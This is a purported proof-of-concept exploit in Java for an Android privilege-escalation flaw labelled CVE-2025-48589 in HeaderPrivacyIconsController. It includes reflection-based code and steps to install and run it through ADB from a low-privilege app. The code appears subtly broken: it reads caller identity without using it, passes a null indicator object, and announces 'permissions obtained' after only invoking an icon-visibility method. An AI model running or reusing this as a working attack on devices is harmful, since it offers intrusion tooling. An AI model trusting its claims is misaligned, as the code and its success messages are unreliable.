Android HeaderPrivacyIconsController权限提升漏洞 (CVE-2025-48589)

// CVE-2025-48589 PoC - Android HeaderPrivacyIconsController Permission Escalation // This PoC demonstrates the logic error in HeaderPrivacyIconsController.kt // that allows cross-user permission granting package com.poc.cve202548589; import android.content.Context; import android.os.Binder; import android.os.IBinder; import android.os.UserHandle; import android.os.UserManager; import java.lang.reflect.Method; public class PermissionEscalationPOC { private static final int TARGET_USER_ID = 0; // Target system user public static void exploit(Context context) throws Exception { // Get HeaderPrivacyIconsController via reflection Class<?> headerPrivacyClass = Class.forName( "com.android.internal.app.HeaderPrivacyIconsController" ); // Get the problematic method that lacks proper user validation Method[] methods = headerPrivacyClass.getDeclaredMethods(); for (Method method : methods) { // Check for methods that handle permission state changes if (method.getName().contains("setIconVisibility") || method.getName().contains("updatePrivacyIcon")) { method.setAccessible(true); // Bypass user validation by manipulating Binder identity long callingUid = Binder.getCallingUid(); long callingPid = Binder.getCallingPid(); // Inject malicious user context UserHandle targetUser = UserHandle.of(TARGET_USER_ID); // Trigger the vulnerable code path // The logic error allows this call to succeed despite // insufficient permissions for cross-user operations try { Object controller = headerPrivacyClass.newInstance(); // Invoke vulnerable method with target user context // This should fail but succeeds due to logic error method.invoke(controller, getPrivacyIndicatorForUser(targetUser), true, // Enable permission indicator targetUser ); System.out.println("[+] Permission granted for user " + TARGET_USER_ID); System.out.println("[+] Escalation successful - permissions obtained"); } catch (Exception e) { System.out.println("[-] Exploitation failed: " + e.getMessage()); } } } } private static Object getPrivacyIndicatorForUser(UserHandle user) { // Return privacy indicator object for target user // Implementation depends on specific Android version return null; } } // Usage: // 1. Compile with Android SDK // 2. Install on device with ADB // 3. Execute via app with minimal privileges // 4. Check granted permissions via dumpsys // Verification: // $ adb shell dumpsys permissionmgr permissions | grep <target_permission>